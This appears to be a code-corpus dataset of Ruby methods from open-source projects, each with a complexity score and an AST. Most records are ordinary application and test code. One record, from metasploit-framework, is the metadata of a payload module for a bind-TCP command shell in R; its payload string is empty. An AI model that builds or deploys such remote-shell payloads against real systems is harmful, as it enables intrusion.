{"repo_name":"forem","file_path":"./repos/forem/lib/generators/data_update/data_update_generator.rb","start_line":5,"raw_source":"def create_data_update_file\n    template(\"data_update.rb.tt\", script_path)\n\n    return unless options[\"spec\"]\n\n    template(\n      \"data_update_spec.rb.tt\",\n      File.join(\"spec\", \"lib\", \"data_update_scripts\", class_path, \"#{file_name}_spec.rb\"),\n    )\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_data_update_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"data_update.rb.tt\"]},{\"type\":\"send\",\"children\":[null,\"script_path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"spec\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"data_update_spec.rb.tt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"spec\"]},{\"type\":\"str\",\"children\":[\"lib\"]},{\"type\":\"str\",\"children\":[\"data_update_scripts\"]},{\"type\":\"send\",\"children\":[null,\"class_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_name\"]}]},{\"type\":\"str\",\"children\":[\"_spec.rb\"]}]}]}]}]}]}","id":"0efbaedd-46df-447d-a5d2-23693d0a7f83"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/omniauth_callbacks_controller.rb","start_line":472,"raw_source":"def fail_admin_mode_invalid_credentials\n    redirect_to new_admin_session_path, alert: _('Invalid login or password')\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fail_admin_mode_invalid_credentials\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"new_admin_session_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Invalid login or password\"]}]}]}]}]}]}","id":"91af104b-cdb2-412d-8de9-1f88d5036a06"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/inboxes_controller.rb","start_line":21,"raw_source":"def campaigns\n    @campaigns = @inbox.campaigns\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"campaigns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@campaigns\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inbox\"]},\"campaigns\"]}]}]}","id":"cd0ac002-b3b0-498a-830d-1d8b8383feff"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/configuring/check/new_framework_defaults_file.rb","start_line":18,"raw_source":"def check\n          @defaults.each do |config|\n            if config.start_with? \"self\"\n              next if @file_content.include? config.gsub(/^self/, \"config\")\n              next if @file_content.include? config.gsub(/^self/, \"configuration\")\n            end\n\n            next if @file_content.include? config\n\n            next if config == \"self.yjit\"\n\n            checker.errors << <<~MESSAGE\n              #{checker.files.new_framework_defaults}: Missing new default\n              #{config}\n\n            MESSAGE\n          end\n        end","complexity_score":27.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@defaults\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"self\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@file_content\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^self\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"config\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@file_content\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^self\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"configuration\"]}]}]},{\"type\":\"next\",\"children\":[]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@file_content\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"==\",{\"type\":\"str\",\"children\":[\"self.yjit\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"checker\"]},\"errors\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"checker\"]},\"files\"]},\"new_framework_defaults\"]}]},{\"type\":\"str\",\"children\":[\": Missing new default\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}]}","id":"e7654df8-318c-43a7-ae34-d1368fe66a35"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_email_templates.rb","start_line":30,"raw_source":"def has_subject_value?(value)\n        expect(find(\"input.email-template__subject\").value).to eq(value)\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_subject_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\"input.email-template__subject\"]}]},\"value\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"5db156fa-3fba-4f5b-a2fd-216fddd6c6b9"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/type/serialize_cast_value.rb","start_line":25,"raw_source":"def self.serialize(type, value)\n        # Using `type.equal?(type.itself_if_...)` is a performant way to also\n        # ensure that `type` is not just a DelegateClass instance (e.g.\n        # ActiveRecord::Type::Serialized) unintentionally delegating\n        # SerializeCastValue methods.\n        if type.equal?((type.itself_if_serialize_cast_value_compatible rescue nil))\n          type.serialize_cast_value(value)\n        else\n          type.serialize(value)\n        end\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"serialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"equal?\",{\"type\":\"begin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"itself_if_serialize_cast_value_compatible\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"serialize_cast_value\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"serialize\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"305cb4db-10f6-4821-ac38-839db08be625"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/runner_test.rb","start_line":112,"raw_source":"def test_environment_option_is_properly_expanded\n      assert_match \"production\", rails(\"runner\", \"-e\", \"prod\", \"puts Rails.env\")\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_environment_option_is_properly_expanded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"production\"]},{\"type\":\"send\",\"children\":[null,\"rails\",{\"type\":\"str\",\"children\":[\"runner\"]},{\"type\":\"str\",\"children\":[\"-e\"]},{\"type\":\"str\",\"children\":[\"prod\"]},{\"type\":\"str\",\"children\":[\"puts Rails.env\"]}]}]}]}","id":"bcdef98f-6084-4823-82b7-d458cddaeb2c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/relationships_controller.rb","start_line":53,"raw_source":"def filter_params\n    params.slice(:page, *RelationshipFilter::KEYS).permit(:page, *RelationshipFilter::KEYS)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RelationshipFilter\"]},\"KEYS\"]}]}]},\"permit\",{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RelationshipFilter\"]},\"KEYS\"]}]}]}]}","id":"1081c53b-9e16-4618-88aa-d5c80e3f41e8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/users/drop_tokens_service.rb","start_line":48,"raw_source":"def invalidate_recovery_tokens\n      Token::Recovery.where(user:).delete_all\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"invalidate_recovery_tokens\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Token\"]},\"Recovery\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]},\"delete_all\"]}]}","id":"b82c702d-8265-4ca7-98eb-aa04b5537df1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_ae_class.rb","start_line":198,"raw_source":"def self.sub_namespaces(ns_obj, ids)\n    loop do\n      break if ns_obj.nil? || ids.include?(\"#{ns_obj.class.name}::#{ns_obj.id}\")\n\n      ids << \"#{ns_obj.class.name}::#{ns_obj.id}\"\n      ns_obj = ns_obj.parent\n    end\n  end","complexity_score":19.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sub_namespaces\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ns_obj\"]},{\"type\":\"arg\",\"children\":[\"ids\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ns_obj\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"include?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ns_obj\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ns_obj\"]},\"id\"]}]}]}]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ns_obj\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ns_obj\"]},\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ns_obj\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ns_obj\"]},\"parent\"]}]}]}]}]}","id":"bd39fcef-689f-465b-aae5-40fdda5ae3aa"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_around_block_parameters.rb","start_line":113,"raw_source":"def last_end_pos_inside_pipes(arguments, range)\n          pos = range.end_pos\n          num = pos - arguments.source_range.begin_pos\n          trailing_comma_index = arguments.source[num..].index(',')\n\n          trailing_comma_index ? pos + trailing_comma_index + 1 : pos\n        end","complexity_score":14.93,"ast_json":"{\"type\":\"def\",\"children\":[\"last_end_pos_inside_pipes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arguments\"]},{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pos\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"end_pos\"]}]},{\"type\":\"lvasgn\",\"children\":[\"num\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pos\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},\"source_range\"]},\"begin_pos\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"trailing_comma_index\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},\"source\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"lvar\",\"children\":[\"num\"]},null]}]},\"index\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trailing_comma_index\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pos\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"trailing_comma_index\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvar\",\"children\":[\"pos\"]}]}]}]}","id":"5f2e3930-5480-4cf4-bef5-118d31c34da4"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/notifications/center.rb","start_line":131,"raw_source":"def expect_empty\n        expect(page).to have_text \"New notifications will appear here when there is activity that concerns you\"\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_empty\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_text\",{\"type\":\"str\",\"children\":[\"New notifications will appear here when there is activity that concerns you\"]}]}]}]}","id":"7417b331-cd05-4534-a494-f7c4550d2a02"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/r/shell_bind_tcp.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'R Command Shell, Bind TCP',\n        'Description' => 'Continually listen for a connection and spawn a command shell via R',\n        'Author' => [ 'RageLtMan <rageltman[at]sempervictus>' ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'r',\n        'Arch' => ARCH_R,\n        'Handler' => Msf::Handler::BindTcp,\n        'Session' => Msf::Sessions::CommandShell,\n        'PayloadType' => 'r',\n        'Payload' => { 'Offsets' => {}, 'Payload' => '' }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"R Command Shell, Bind TCP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Continually listen for a connection and spawn a command shell via R\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"RageLtMan <rageltman[at]sempervictus>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"r\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_R\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Handler\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Handler\"]},\"BindTcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"CommandShell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadType\"]},{\"type\":\"str\",\"children\":[\"r\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offsets\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}]}]}","id":"3632c8bb-d436-4f17-85d2-9488457151df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/api/concerns/mcp_access_spec.rb","start_line":13,"raw_source":"def allow_access_with_scope(scope, _options = {})\n          self.access_scopes ||= []\n          self.access_scopes << scope\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_access_with_scope\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"optarg\",\"children\":[\"_options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"access_scopes\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"access_scopes\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]}","id":"a39a7447-f117-4100-a080-fe7b5d9c777f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/merge_requests/application_controller.rb","start_line":85,"raw_source":"def close_merge_request_if_no_source_project\n    return if @merge_request.source_project\n    return unless @merge_request.open?\n\n    @merge_request.close\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"close_merge_request_if_no_source_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"source_project\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"open?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@merge_request\"]},\"close\"]}]}]}","id":"c7da480b-0e3e-4f6c-91ae-71443a9a1059"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/actions_test.rb","start_line":256,"raw_source":"def test_gem_with_gemfile_without_newline_at_the_end\n    run_generator\n    File.open(\"Gemfile\", \"a\") { |f| f.write('gem \"rspec-rails\"') }\n\n    action :gem, \"will-paginate\"\n    assert_file \"Gemfile\", /gem \"rspec-rails\"\\ngem \"will-paginate\"\\n\\z/\n  end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_gem_with_gemfile_without_newline_at_the_end\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"str\",\"children\":[\"Gemfile\"]},{\"type\":\"str\",\"children\":[\"a\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"write\",{\"type\":\"str\",\"children\":[\"gem \\\"rspec-rails\\\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"action\",{\"type\":\"sym\",\"children\":[\"gem\"]},{\"type\":\"str\",\"children\":[\"will-paginate\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"Gemfile\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"gem \\\"rspec-rails\\\"\\\\ngem \\\"will-paginate\\\"\\\\n\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"a305f042-a900-40e3-9e6a-b402055b86c3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":897,"raw_source":"def test_eager_has_many_through_multiple_with_order\n    tag1 = OrderedTag.create!(name: \"Bar\")\n    tag2 = OrderedTag.create!(name: \"Foo\")\n\n    post1 = Post.create!(title: \"Beaches\", body: \"I like beaches!\")\n    post2 = Post.create!(title: \"Pools\", body: \"I like pools!\")\n\n    Tagging.create!(taggable: post1, tag: tag1)\n    Tagging.create!(taggable: post2, tag: tag1)\n    Tagging.create!(taggable: post2, tag: tag2)\n    Tagging.create!(taggable: post1, tag: tag2)\n\n    tags_with_includes = OrderedTag.where(id: [tag1, tag2].map(&:id)).includes(:tagged_posts).order(:id).to_a\n    tag1_with_includes = tags_with_includes.first\n    tag2_with_includes = tags_with_includes.last\n\n    assert_equal([post2, post1].map(&:title), tag1_with_includes.tagged_posts.map(&:title))\n    assert_equal([post1, post2].map(&:title), tag2_with_includes.tagged_posts.map(&:title))\n  end","complexity_score":41.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_has_many_through_multiple_with_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OrderedTag\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Bar\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OrderedTag\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Foo\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Beaches\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"I like beaches!\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Pools\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"I like pools!\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tagging\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"taggable\"]},{\"type\":\"lvar\",\"children\":[\"post1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"tag1\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tagging\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"taggable\"]},{\"type\":\"lvar\",\"children\":[\"post2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"tag1\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tagging\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"taggable\"]},{\"type\":\"lvar\",\"children\":[\"post2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"tag2\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tagging\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"taggable\"]},{\"type\":\"lvar\",\"children\":[\"post1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"tag2\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tags_with_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OrderedTag\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag1\"]},{\"type\":\"lvar\",\"children\":[\"tag2\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"tagged_posts\"]}]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"to_a\"]}]},{\"type\":\"lvasgn\",\"children\":[\"tag1_with_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags_with_includes\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"tag2_with_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tags_with_includes\"]},\"last\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post2\"]},{\"type\":\"lvar\",\"children\":[\"post1\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag1_with_includes\"]},\"tagged_posts\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"t